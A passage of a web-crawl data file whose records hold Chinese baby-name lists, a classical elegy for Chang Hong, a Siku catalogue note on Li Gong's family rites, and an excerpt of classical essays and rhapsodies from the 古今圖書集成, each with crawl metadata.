戴闻芳 戴瑶甜 戴莉荷 戴莺茹 戴月玲 戴克萍 戴瑞莉 戴瑞丽 戴怡名 戴琳晶 戴红美 戴桂萍 戴文燕 戴澹霞 戴旦霞 戴荣悦 戴康萍 戴顺芬 戴敏芬 戴李茹 戴成玉 戴吉艳 戴已洁 戴莉雅 戴希文 戴林萍 戴倩珍 戴鑫怡 戴鑫蓉 戴鑫妍 戴士玉 戴红蓉 戴惠妍 戴艳蓉 戴慧蓉 戴骊燕 戴骊蓉 戴郦蓉 戴国美 戴琴莺 戴燕发 戴习玲 戴俊芳 戴燕清 戴韵婧 戴汇娟 戴绘娟 戴辉娟 戴茴娟 戴荟娟 戴会娟 戴卉娟 戴蕙娟 戴慧娟 戴爱文 戴媛久 戴群玲 戴菲娥 戴碧娥 戴翠娥 戴涟怡 戴园媛 戴怡澜 戴怡蕾 戴芷怡 戴怡靖 戴琳静 戴迪琳 戴迪娜 戴帝娜 戴俐娜 戴利娜 戴玉美 戴怡能 戴怡利 戴怡榕 戴怡宁 戴泽琳 戴向娜 戴玮娟 戴蓉辉 戴澜琼 戴海倩 戴朵花 戴海红 戴铭琳 戴怡哲 戴怡骐 戴怡泽 戴琳棱 戴棱琳 戴茹棱 戴怡棱 戴棱怡 戴棱玲 戴玲棱 戴玟洁 戴清蓉 戴谰琼 戴琼文 戴兰琼 戴灵萍 戴中琼 戴洁文 戴纹洁 戴宁洁 戴继玉 戴凤娟 戴妃悦 戴德芳 戴羲悦 戴熙悦 戴昕悦 戴盾悦 戴来悦 戴琴丽 戴琦倩 戴月萍 戴高梅 戴培文 戴冉冉 戴小冉 戴筱冉 戴晓冉 戴潇冉 戴窈婷 戴京霞 戴飞红 戴维芳 戴怡唯 戴芷婧 戴俭红 戴素霞 戴迎莹 戴盈莹 戴艳莹 戴夏琳 戴振芬 戴际英 戴冰雪 戴冰梅 戴莉冰 戴菁妍 戴钟文 戴利玲 戴婧妍 戴益萍 戴莉媛 戴婉茹 戴海琴 戴智美 戴方英 戴妍俐 戴妍惠 戴彩芳 戴贝妍 戴李芬 戴春艳 戴娴瑛 戴梦雪 戴靖妍 戴清英 戴咏悦 戴卓琳 戴莉芙 戴敏雪 戴冰嫣 戴子嫣 戴思芬 戴先娥 戴秀娇 戴滢洁 戴莹洁 戴英洁 戴沐英 戴泓英 戴洪英 戴婉娥 戴妍妍 戴天玉 戴勇霞 戴永霞 戴悦西 戴如霞 戴荣梅 戴淑红 戴歆秀 戴新秀 戴莉文 戴梦倩 戴慧萍 戴楚怡 戴诗媛 戴麟娜 戴豫琼 戴豫婷 戴韶颖 戴秀倩 戴钰嫣 戴弈婷 戴唐怡 戴悦岩 戴怀颖 戴怡明 戴彩萍 戴霞萍 戴怡维 戴沁妍 戴箫莹 戴桂琴 戴继玲 戴庐艳 戴欣蓉 戴影红 戴新美 戴悄雪 戴婷卉 戴媛卉 戴伏萍 戴诗芬 戴国琴 戴眙燕 戴小娜 戴万燕 戴芳茹 戴琳瑶 戴萍娟 戴岩茹 戴燕子 戴铭媛 戴川洁 戴莉晶 戴晶莉 戴美瑛 戴妍殊 戴靖蓉 戴裴丽 戴春萍 戴义娟 戴润花 戴婷姗 戴国茹 戴芷瑶","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/www.zy5000.com\/show_3A44.aspx","date":"2024-04-17T01:41:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817128.7\/warc\/CC-MAIN-20240417013540-20240417043540-00806.warc.gz","language":"lzh","language_score":0.558240056,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.5582400560379028, \"cmn_Hani_score\": 0.25466084480285645, \"wuu_Hani_score\": 0.11510143429040909, \"yue_Hani_score\": 0.03936120495200157, \"nan_Hani_score\": 0.030911488458514214}","num_words":302,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.552,"perplexity_score":500.0,"cluster_detection":1} +{"text":"吊苌宏文 中华文库\n有周之羸兮,邦国异图。臣乘君则兮,王易为侯。威强逆制兮,郁命转幽。疹蛊胶密兮,肝胆为尤。奸权蒙货兮,忠勇以刘。伊时云幸兮,大夫之羞。呜呼危哉!河渭溃溢兮,横躯以抑。嵩高坼堕兮,举手排直。压溺之不虑兮,坚刚以为式。知死不可挠兮,明章人极。\n夫何大夫之炳烈兮,王不寤夫谗贼。卒施快于剽狡兮,怛就制乎强国。松柏之斩刈兮,蓊茸欣植。盗骊折足兮,罢驽抗臆。鸷鸟之高翔兮,孽狐惴而不食。窃畏忌以群朋兮,夫孰病百而伸一。挺寡以校众兮,古圣人之所难。矧援羸以威傲兮,兹固蹈殆而违安。杀身之匪予戚兮,闵宗周之不完。岂成城以夸功兮,哀清庙之将残。嫉彪子之肆诞兮,弥皇览以为谩。姑舍道以从世兮,焉用夫考古而登贤。\n指白日以致愤兮,卒颓幽而不烈。版上帝以飞精兮,黮寥廓而殓绝。朅冯云以羾诉兮,终冥冥以郁结。欲登山以号辞兮,愈洋洋以超忽。心冱涸其不化兮,形凝冰而自栗。图始而虑末兮,非大夫之操。陷瑕委厄兮,固袁世之道。如不可而愈进兮,誓不偷以自好。陈诚以定命兮,侔贞臣以为友。比干之以仁义类兮,缅辽绝以不群。伯夷殉洁以莫怨兮,孰克轨其遗尘。苟端诚之内亏兮,虽耆老其谁珍。古固有一死兮,贤者乐得其所。大夫死忠兮,君子所与。呜呼哀哉!敬吊忠甫。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.zhonghuashu.com\/wiki\/%E5%90%8A%E8%90%87%E5%AE%8F%E6%96%87","date":"2024-04-22T22:32:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818374.84\/warc\/CC-MAIN-20240422211055-20240423001055-00672.warc.gz","language":"lzh","language_score":0.6749051213,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6749051213264465, \"zxx_Latn_score\": 0.03956026956439018, \"nan_Hani_score\": 0.028230702504515648, \"und_Tang_score\": 0.01776161789894104, \"und_Yiii_score\": 0.01593453623354435, \"und_Xsux_score\": 0.014111656695604324, \"cmn_Hani_score\": 0.013949758373200893, \"und_Sgnw_score\": 0.012951727025210857, \"und_Hira_score\": 0.012225409969687462, \"und_Grek_score\": 0.011284707114100456, \"yue_Hani_score\": 0.01115562953054905, \"und_Cans_score\": 0.010334745980799198}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.285,"perplexity_score":500.0,"cluster_detection":1} +{"text":"國朝李塨撰。塨有周易傳注。已著錄。是編乃所定家儀。一曰冠。二曰昏。三曰喪。四曰祭。五曰士相見。塨學術出於顏元。其禮樂之學。則出自毛奇齡。奇齡講禮。好言諧俗。故是編亦多主簡易。其士相見禮一卷。張潮摘錄於昭代叢書中。然天下迄無行之者也。","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0051002.html","date":"2018-01-16T07:32:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886237.6\/warc\/CC-MAIN-20180116070444-20180116090444-00086.warc.gz","language":"lzh","language_score":0.3918237984,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.39182379841804504, \"cmn_Hani_score\": 0.2535266876220703, \"zxx_Latn_score\": 0.07046961784362793, \"und_Tang_score\": 0.059501826763153076, \"jpn_Jpan_score\": 0.03148229792714119, \"wuu_Hani_score\": 0.029378468170762062, \"yue_Hani_score\": 0.028021885082125664, \"und_Xsux_score\": 0.012898336164653301, \"und_Cher_score\": 0.01008201576769352, \"nan_Hani_score\": 0.010009163990616798}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.392,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n秦佩溱 秦佩钦 秦佩 秦佩强 秦佩鑫 秦士森 秦子超 秦湛涵 秦胜 秦先翠 秦云飞 秦绪全 秦文璐 秦建庭 秦王一 秦晓辉 秦彗宣 秦殊宣 秦庆荣 秦寿歆 秦寿忻 秦茜铉 秦寿辛 秦鸿茜 秦寿莘 秦寿昕 秦寿馨 秦寿星 秦寿鑫 秦宜宣 秦子寒 秦子函 秦子晗 秦玮阳 秦冠慧 秦冠惠 秦金惠 秦金慧 秦鑫慧 秦小绚 秦鑫惠 秦杏荣 秦宇轩 秦楚 秦洪波 秦寿兴 秦雷 秦绰阳 秦硕升 秦郑辉 秦铭铭 秦铭忆 秦武舫 秦志友 秦艳臣 秦肇绩 秦肇基 秦灿灿 秦子绚 秦伟忠 秦朗仪 秦安 秦彬 秦萌芊 秦萌钎 秦庆贵 秦漱 秦湘 秦准 秦仪涵 秦明峰 秦戈 秦雪薇 秦屹洋 秦雪畅 秦双兰 秦涵语 秦语涵 秦湘云 秦滟妮 秦妮潆 秦浔 秦鸿宇 秦莠沂 秦梦渝 秦爿匹 秦漫云 秦梦涵 秦宗华 秦明月 秦岗 秦浠侥 秦浠秋 秦浠尧 秦圣国 秦为径 秦婕 秦永刚 秦翌桓 秦志刚 秦佳荣 秦芮洋 秦巨隐 秦光萤 秦观云 秦树钰 秦俪 秦乾 秦铭轩 秦小雯 秦海宁 秦佳信 秦木青 秦锐 秦文柯 秦一柯 秦明敏 秦华彪 秦桦 秦择源 秦舒源 秦晓露 秦逸凡 秦雨萌 秦锋 秦霄雄 秦科楠 秦一伦 秦臻楠 秦正运 秦意乔 秦兆卓 秦昊哲 秦竞仪 秦毓婕 秦智曦 秦毓皎 秦毓笛 秦毓翎 秦毓苗 秦毓羚 秦瑞旋 秦思远 秦夕薄 秦浩天 秦嘉笛 秦文淑 秦孟颉 秦嘉宁 秦睿晗 秦正阳 秦阳东 秦雨竹 秦正东 秦晓宇 秦瑞晟 秦筱雨 秦剑钦 秦钬 秦桂芝 秦轩烨 秦凯烨 秦天宇 秦永康 秦维涛 秦奕铭 秦火强 秦炫烨 秦炫宇 秦凯煊 秦海航 秦奕航 秦凯瑞 秦纾曜 秦宏君 秦宏军 秦结园 秦洪军 秦全福 秦瑞笛 秦瑞奇 秦小晶 秦如 秦坷 秦翊桓 秦占瑞 秦恒 秦海桓 秦唯 秦烯桓 秦翔 秦柔祯 秦宜春 秦令春 秦祖新 秦祖荣 秦艳彬 秦正沣 秦伟航 秦正丰 秦喜友 秦帝 秦如欢 秦紫欢 秦海淋 秦基富 秦泗彩 秦洪兵 秦昌龙 秦思瑜 秦恩瑜 秦培傲 秦玉堂 秦培赢 秦培人 秦峥沣 秦峥丰 秦子健 秦瑜禧 秦菲菲 秦入社 秦钲沣 秦友春 秦瑜潞 秦毅强 秦友轩 秦铉瓷 秦友语 秦语 秦华伟 秦德刚 秦思泽 秦树创 秦晓锋 秦昱泓 秦靖舒 秦逅蘅 秦喜荣 秦桂清 秦海凌 秦惠蓝 秦明德 秦绮蔚 秦朝尘 秦曹成 秦曹尘 秦潮尘 秦迁潮 秦迁舟 秦舟月 秦书潮 秦与潮 秦潮雨 秦年青 秦亦歌 秦亦清 秦亦远 秦亦勤 秦若禅 秦益华 秦禅 秦无笛 秦无涯 秦忆笛 秦恺潞 秦怀笛 秦远笛 秦有笛 秦青笛 秦之笛 秦恺璐 秦笛青 秦朝谦 秦之曹 秦青淳 秦青纯 秦亦青 秦纯青 秦笔青 秦亦谦 秦迁可 秦子迁 秦可迁 秦谦 秦谦谦 秦曹谦 秦可谦 秦天忆 秦皖川 秦锦华 秦秀彤 秦秀钰 秦锐钰 秦钊钰","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/zg-zy.com\/show_A13.aspx","date":"2018-07-20T18:10:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591719.4\/warc\/CC-MAIN-20180720174340-20180720194340-00185.warc.gz","language":"lzh","language_score":0.9999970198,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.9999970197677612}","num_words":295,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n崔玄辉 崔琰 崔永琰 崔哲宣 崔振耀 崔天洙 崔连军 崔骏峰 崔秉骏 崔秉辉 崔秉昌 崔明昌 崔志昌 崔盛昌 崔永昌 崔会珠 崔耀祖 崔海炎 崔志炜 崔浩宇 崔志晨 崔子晨 崔明豪 崔英杰 崔明辉 崔义凡 崔德旺 崔一铭 崔一明 崔德瑞 崔明浩 崔海汉 崔鸣浩 崔元翰 崔福洋 崔亦宏 崔翰飞 崔羽岐 崔莺 崔文汇 崔亦延 崔殿政 崔振城 崔英海 崔义培 崔振兴 崔银银 崔连香 崔泽铭 崔德盛 崔牛 崔圣杰 崔德安 崔世忠 崔炳晨 崔炳涛 崔呈普 崔义坚 崔炎辉 崔秉炎 崔庆森 崔振培 崔秉韬 崔孱 崔振尧 崔柱 崔劭斌 崔劭侦 崔柏勋 崔正爱 崔艳辉 崔朝相 崔以腾 崔圣轩 崔琦轩 崔昭轩 崔奇轩 崔佳轩 崔孜轩 崔谷龙 崔裕龙 崔小虎 崔红紫 崔更水 崔振杰 崔哲恺 崔润哲 崔岩浩 崔晓安 崔芳硕 崔和硕 崔佳木 崔劭永 崔莲香 崔劭帆 崔劭仲 崔劭鹏 崔劭源 崔劭宁 崔淮之 崔翰肃 崔清志 崔翰群 崔翰衡 崔翰衢 崔晓光 崔子绮 崔翰庚 崔轶喧 崔丽伟 崔根良 崔时豪 崔峻华 崔颢缤 崔一宸 崔瑞轩 崔汽车 崔泽凡 崔森桂 崔本华 崔小言 崔希 崔靖欣 崔丽春 崔吉东 崔翰足 崔翰辰 崔翰序 崔颢蓝 崔国锐 崔荣泰 崔开轩 崔珂嘉 崔邈曦 崔元博 崔坤贤 崔印庭 崔博泓 崔光国 崔包涵 崔丽华 崔亚民 崔伟浩 崔素杰 崔智情 崔智舜 崔凤琪 崔应波 崔甜帼 崔亦丹 崔梦毅 崔清梓 崔惠娴 崔鹜予 崔箕云 崔亦赜 崔冼玢 崔宏勋 崔自默 崔未闻 崔凤时 崔紫木 崔语堂 崔堂堂 崔景鼎 崔慈 崔明霄 崔书克 崔珊珊 崔滢煜 崔程邵 崔文滔 崔书滔 崔冯邵 崔轶童 崔艺炜 崔书炜 崔天程 崔鹏程 崔佳明 崔万程 崔昊东 崔劭成 崔茜 崔劭生 崔粲粲 崔红雨 崔喜乐 崔文粲 崔坤 崔金平 崔达洲 崔晓鹏 崔为欣 崔为新 崔文菲 崔雨荷 崔玄晖 崔哲刚 崔网珍 崔劭龙 崔劭誉 崔逢源 崔劭达 崔劭桦 崔劭学 崔涵晶 崔劭烨 崔劭宪 崔劭玻 崔邵玻 崔林发 崔乐 崔姗 崔志建 崔惠林 崔艳华 崔光磊 崔宏滨 崔骅庆 崔花庆 崔桦庆 崔华晴 崔华清 崔华青 崔华箐 崔华卿 崔华庆 崔文豪 崔志平 崔喜凤 崔艳杰 崔积福 崔翰夫 崔翰贯 崔可心 崔翰堂 崔翰霖 崔浙夫 崔翠 崔熙元 崔熙瑗 崔翰廷 崔翰凌 崔辰远 崔翰霄 崔翰庭 崔维翰 崔星驰 崔振翰 崔立林 崔立翰 崔立汉 崔立仟 崔恒平 崔立卫 崔世钢 崔立丰 崔鹤 崔敬伟 崔云山 崔霄霄 崔浠盈 崔红景 崔盈浠 崔长勇 崔盈茔 崔奕斌 崔晓璇 崔延泽 崔铂 崔喃媪 崔炜晋 崔浩锦 崔粉桃 崔容玮 崔容宣 崔云皓 崔云哲 崔皓禹 崔卫国 崔芷馨 崔春业 崔春需 崔武 崔义声 崔袁祯 崔瑗真 崔丁月 崔元祯 崔松年 崔真粲 崔依粲 崔粲灿 崔粲乐 崔粲璨 崔粲儿 崔心粲 崔粲然 崔一粲","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.ppp681.cn\/show_A0E.aspx","date":"2019-05-24T08:48:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257601.8\/warc\/CC-MAIN-20190524084432-20190524110432-00439.warc.gz","language":"lzh","language_score":0.9977251291,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.9977251291275024}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|欽定古今圖書集成\n\n\n明倫彙編 第五十七卷\n欽定古今圖書集成明倫彙編人事典\n第五十七卷目錄\n志願部總論\n書經〈旅獒〉\n禮記〈曲禮〉\n孔叢子〈居衛篇〉\n志願部藝文一\n卜居 周屈平\n太元賦 漢揚雄\n解嘲 前人\n解難 前人\n遂初賦〈有序〉 劉歆\n幽通賦 後漢班固\n顯志賦〈有序〉 馮衍\n思元賦 張衡\n慰志賦 崔篆\n達旨 崔駰\n與李文德書 延篤\n述志令 曹操\n愁思賦 魏曹植\n幽思賦 前人\n元暢賦〈有序〉 前人\n感節賦 前人\n潛志賦 前人\n七啟 前人\n九詠 前人\n遂志賦 劉楨\n答伏義書 阮籍\n懷思賦 夏侯惇\n與從弟書 晉羊祜\n遂志賦〈有序〉 陸機\n思游賦〈有序〉 摰虞\n申懷賦〈有序〉 傅咸\n述志賦〈有序〉 李暠\n人事典第五十七卷\n志願部總論编辑\n《書經》编辑\n《旅獒》编辑\n玩物喪志。\n〈注〉志者,心之所之。〈大全〉王氏十朋曰:玩物則以慾而勝剛,故喪志。林氏曰:以獒如人意,而受之。則玩弄於物,溺志於此而不自覺,豈不喪志。\n志以道寧。\n〈注〉己之志,以道而寧,則不至於妄發。\n《禮記》编辑\n《曲禮》编辑\n志不可滿。\n〈疏〉志不可滿者,六情遍睹在心,未見為志。凡人各有志,意但不得自滿,故六韜云:器滿則傾,志滿則覆。\n《孔叢子》编辑\n《居衛篇》编辑\n子思謂子上曰:有可以為公之尊而富貴人眾不與 焉者,非唯志乎。成其志者,非唯無欲乎。夫錦繢紛華, 所服不過溫體,三牲大牢,所食不過充腹,知以身取 節者則知足矣。苟知足則不累其志矣。\n志願部藝文一编辑\n《卜居》周屈平编辑\n屈原既放,三年不得復見;竭智盡忠,蔽障於讒,心煩 意亂,不知所從。乃往見太卜鄭詹尹曰:余有所疑,願 因先生決之。詹尹乃端策拂龜曰:君將何以教之。屈 原曰:吾寧悃悃款款朴以忠乎。將送往勞來斯無窮 乎。寧誅鉏草茅以力耕乎。將遊大人以成名乎。寧正 言不諱以危身乎。將從俗富貴以媮生乎。寧超然高 舉,以保真乎。將哫訾慄斯,喔咿嚅唲,以事婦人乎。寧 廉潔正直以自清乎。將突梯滑稽,如脂如韋,以絜楹 乎。寧昂昂若千里之駒乎。將氾氾若水中之鳧,與波 上下,偷以全吾軀乎。寧與騏驥抗軛乎。將隨駑馬之 跡乎。寧與黃鵠比翼乎。將與雞鶩爭食乎。此孰吉孰 凶。何去何從。世溷濁而不清:蟬翼為重,千鈞為輕;黃 鍾毀棄,瓦釜雷鳴;讒人高張,賢士無名。吁嗟嘿嘿兮, 誰知吾之廉真。詹尹乃釋策而謝曰:夫尺有所短,寸 有所長;物有所不足,智有所不明;數有所不逮,神有 所不通。用君之心,行君之意。龜策誠不能知此事。\n《太元賦》漢·揚雄编辑\n觀太易之損益兮,覽老氏之倚伏。省憂喜之共門兮, 察吉凶之同域。皦皦著乎日月兮,何俗聖之暗燭。豈 揭寵以冒災兮,將噬臍之不及。若飄風不終朝兮,驟 雨不終日。雷隆隆而輒息兮,火猶熾而速滅。自夫物 有盛衰兮,況人事之所極。奚貪婪於富貴兮,迄喪躬 而危族。豐盈禍所棲兮,名譽怨所集。薰以芳而致燒 兮,膏含肥而見。翠羽媺而殃身兮,蚌含珠而擘裂。 聖作典以濟時兮,驅蒸民而入甲。張仁義以為綱兮, 懷忠貞以矯俗。指尊選以誘世兮,疾身沒而名滅。豈 若師由聃兮,執元靜於中谷。納傿祿於江淮兮,揖松 喬於華岳。升崑崙以散髮兮,踞弱水以濯足。朝發軔 於流沙兮,夕翱翔乎碣石。忽萬里而一頓兮,過列仙 以託宿。役青要與承戈兮,舞馮夷以作樂。聽素女之 清聲兮,觀宓妃之妙曲。茹芝英以禦餓兮,飲玉醴以 解渴。排閶闔以窺天庭兮,騎騂騩以踟躕。載羨門與 儷游兮,永覽周乎八極。亂曰:甘餌含毒,難數嘗兮,麟 而可羈,近犬羊兮。鸞鳳高翔,戾青雲兮。不掛網羅,固 足珍兮。斯錯位極,離大戮兮。屈子慕清,葬魚腹兮。伯 姬曜名,焚厥身兮。孤竹二子,餓首山兮。斷跡屬婁,何 足稱兮。辟斯數子,智若淵兮。我異於此,執太元兮。蕩 然肆志,不拘攣兮。\n《解嘲》前人编辑\n客嘲揚子曰:吾聞上世之士,人綱人紀,不生則已,生 則上尊人君,下榮父母,析人之圭,儋人之爵,懷人之 符,分人之祿,紆青拖紫,朱丹其轂。今子幸得遭明盛 之世,處不諱之朝,與群賢同行,歷金門上玉堂有日 矣,曾不能畫一奇,出一策,上說人主,下談公卿。目如 耀星,舌如電光,壹從壹衡,論者莫當,顧默然而作太 元五千文,枝葉扶疏,獨說十餘萬言,深者入黃泉,高 者出蒼天,大者含元氣,纖者入無倫,然而位不過侍 郎,擢纔給事黃門。意者元得毋尚白乎。何為官之拓 落也。揚子笑而應之曰:客徒欲朱丹吾轂,不知一跌 將赤吾之族也。往者周網解結,群鹿爭逸,離為十二, 合為六七,四分五剖,並為戰國。士無常君,國亡定臣, 得士者富,失士者貧,矯翼厲翮,恣意所存,故士或自 盛以橐,或鑿坏以遁。是故鄒衍以頡亢而取世資,孟 軻雖連蹇,猶為萬乘師。今大漢左東海,右渠搜,前番 禺,後陶塗。東南一尉,西北一侯。徽以糾墨,製以鑕鈇, 散以禮樂,風以詩書,曠以歲月,結以倚廬。天下之士, 雷動雲合,魚鱗雜襲,咸營於八區,家家自以為稷契, 人人自以為咎繇,戴縰垂纓而談者皆擬於阿衡,五 尺童子羞比晏嬰與夷吾;當塗者入青雲,失路者委 溝渠,旦握權則為卿相,夕失勢則為匹夫;譬若江湖 之涯,渤澥之島,乘鴈集不為之多,雙鳧飛不為之少。 昔三仁去而殷墟,二老歸而周熾,子胥死而吳亡,種、 蠡存而粵伯,五羖入而秦喜,樂毅出而燕懼,范睢以 折摺而危穰侯,蔡澤以噤吟而笑唐舉。故當其有事 也,非蕭、曹、子房、平、勃、樊、霍則不能安;當其無事也,章 句之徒相與坐而守之,亦亡所患。故世亂,則聖哲馳 騖而不足;世治,則庸夫高枕而有餘。夫上世之士,或 解縛而相,或釋褐而傅;或倚夷門而笑,或橫江潭而 漁;或七十說而不遇,或立談間而封侯;或枉千乘於 陋巷,或擁帚篲而先驅。是以士頗得信其舌而奮其 筆,窒隙蹈瑕而無所詘也。當今縣令不請士,郡守不 迎師,群卿不揖客,將相不俛眉;言奇者見疑,行殊者 得辟,是以欲談者卷舌而固聲,欲行者擬足而投跡。 嚮使上世之士處虖今世,策非甲科,行非孝廉,舉非 方正,獨可抗疏,時道是非,高得待詔,下觸聞罷,又安 得青紫。且吾聞之,炎炎者滅,隆隆者絕;觀雷觀火,為 盈為實,天收其聲,地藏其熱。高明之家,鬼瞰其室。攫 拏者亡,默默者存;位極者宗危,自守者身全。是故知 元知默,守道之極;爰清爰靜,游神之廷;惟寂惟寞,守 德之宅。世異事變,人道不殊,彼我易時,未知何如。今 子乃以鴟鴞而笑鳳凰,執蝘蜓而嘲龜龍,不亦病乎。 子徒笑我元之尚白,吾亦笑子之病甚,不遭臾跗與 扁鵲也,悲夫。客曰:然則靡元無所成名乎。范、蔡以下 何必元哉。揚子曰:范雎,魏之亡命也,折脅拉髂,免於 徽索,翕肩蹈背,扶服入橐,激卬萬乘之主,界涇陽抵 穰侯而代之,當也。蔡澤,山東之匹夫也,顩頤折頞,涕 唾流沫,西揖強秦之相,搤其咽,而亢其氣,拊其背而 奪其位,時也。天下已定,金革己平,都於雒陽,婁敬委 輅脫輓,掉三寸之舌,建不拔之策,舉中國徙之長安, 適也。五帝垂典,三王傳禮,百世不易,叔孫通起於枹 鼓之間,解甲投戈,遂作君臣之儀,得也。甫刑靡敝,秦 法酷烈,聖漢權制,而蕭何造律,宜也。故有造蕭何律 於唐虞之世,則誖矣;有作叔孫通儀於夏殷之時,則 惑矣;有建婁敬之策於成周之世,則繆矣;有談范、蔡 之說於金、張、許、史之間,則狂矣。夫蕭規曹隨,留侯畫 策,陳平出奇,功若泰山,響若阺隤,唯其人之贍知哉, 亦會其時之可為也。故為可為於可為之時,則從;為不可為於不可為之時,則凶。夫藺先生收功於章臺, 四皓采榮於南山,公孫創業於金馬,驃騎發跡於祁 連,司馬長卿竊訾於卓氏,東方朔割名於細君。僕誠 不能與此數子者並,故默默獨守吾太元。\n解難 前人编辑\n客難揚子曰:凡著書者,為眾人之所好也,美味期乎 合口,工聲調於比耳。今吾子乃抗辭幽說,閎意眇指, 獨馳騁於有亡之際,而陶冶大鑪,旁薄群生,歷覽者 茲年矣,而殊不寤。亶費精神於此,而煩學者於彼,譬 畫者畫於無形,弦者放於無聲,殆不可乎。揚子曰:俞。 若夫閎言崇議,幽微之塗,蓋難與覽者同也。昔人有 觀象於天,視度於地,察法於人者,天麗且彌,地普而 深,昔人之辭,迺玉迺金。彼豈好為艱難哉。勢不得已 也。獨不見夫翠虯絳螭之將登虖天,必聳身於蒼鷹 之淵;不階浮雲,翼疾風,虛舉而上升,則不能撠膠葛, 騰九閎。日月之經不千里,則不能燭六合,耀八紘;泰 山之高不嶕嶢,則不能浡滃雲而散歊烝。是以宓犧 氏之作易也,綿絡天地,經以八卦,文王附六爻,孔子 錯其象而彖其辭,然後發天地之藏,定萬物之基。典 謨之篇,雅頌之聲,不溫純深潤,則不足以揚鴻烈而 章緝熙。蓋胥靡為宰,寂寞為尸;大味必淡,大音必希; 大語叫叫,大道低回。是以聲之眇者不可同於眾人 之耳,形之美者不可混於世俗之目,辭之衍者不可 齊於庸人之聽。今夫絃者,高張急徽,追趨逐耆,則坐 者不期而附矣;試為之施咸池,榆六莖,發簫韶,詠九 成,則莫有和也。是故鍾期死,伯牙絕絃破琴而不肯 與眾鼓;獿人亡,則匠石輟斤而不敢妄斲。師曠之調 鐘,知音者之在後也;孔子作春秋,幾君子之前睹 也。老聃有遺言,貴知我者希,此非其操與。\n《遂初賦》〈有序〉劉歆编辑\n遂初賦者,劉歆所作也。歆少通詩書,能屬文。成帝召為黃門侍郎、中壘校尉、侍中奉車都尉、光祿大夫。歆好左氏春秋,欲立於學官,時諸儒不聽,歆乃移書太常博士,責讓深切,為朝廷大臣非疾,求出補吏,為河內太守,又以宗室不宜典三河,徙五原太守。是時朝政已多失矣,歆以論議見排擯志,竟不得之官。經歷故晉之域,感今思古,遂作斯賦,以歎往事而寄己意。\n昔遂初之顯祿兮,遭閶闔之開通。蹠三台而上征兮, 入北辰之紫宮。侍列宿於鉤陳兮,擁太常之樞極。總 六龍於駟房兮,奉華蓋於帝側。惟太階之侈闊兮,機 衡為之難。運懼魁杓之前後兮,遂隆集於河濱。遭陽 侯之豐沛兮,乘素波以聊戾。得元武之嘉兆兮,守五 原之烽燧。二乘駕而既俟僕夫,期而在涂,馳太行之 嚴防兮,入天井之喬關。歷岡岑以升降兮,馬龍騰以 起攄。舞雙駟以優游兮,濟黎侯之舊居。心滌蕩以慕 遠兮,迴高都而北征。劇強秦之暴虐兮,弔趙括於長 平。好周文之嘉德兮,躬尊賢而下士。駕四馬而觀風 兮,慶辛甲於長子。哀衰周之失權兮,數困辱而莫扶。 執孫蒯於屯留兮,救王師於余。吾過下虒而歎息兮, 悲平公之作臺。背宗周而不卹兮,苟偷樂而情怠。枝 葉落而不省兮,公族其無人。曰:不悛而愈甚兮,政 委棄於家門,載約屨而正朝服兮,降皮弁以為履。寶 礫石於廟堂兮,面隋和而不視。始建衰而造亂兮,公 室繇此遂卑。憐後君之寄寓兮,唁靖公之銅鞮。越侯 田而長驅兮,釋叔向之飛患。悅善人之有救兮,勞祁 奚於太原。何叔子之好直兮,為群邪之所惡。賴祁子 之一言兮,幾不免乎徂落。雙美不必為偶兮,時有羞 而不相及。雖韞寶而求價兮,嗟千載其焉合。昔仲尼 之淑聖兮,竟隘窮乎陳蔡。彼屈原之貞專兮,卒放沉 於湘淵。何方直之難容兮,柳下黜而三辱。蘧瑗抑而 再奔兮,豈材知之不足。揚蛾眉而見妒兮,固醜女之 情也。曲木惡直繩兮,亦小人之誠也。以夫子之博觀 兮,何此道之必然。空下時而矔世兮,自命己之取患。 悲積習之生常兮,固明智之所別。叔群既在皁隸兮, 六卿興而為桀。荀寅肆而顓恣兮,吉射叛而擅兵。憎 人臣之若茲兮,責趙鞅於晉陽。軼中國之都邑兮,登 句注以陵厲。歷鴈門而入雲中兮,超絕轍而遠逝。濟 臨沃而遙思兮,忽垂意乎邊都。埜蕭條以寥廓兮,陵 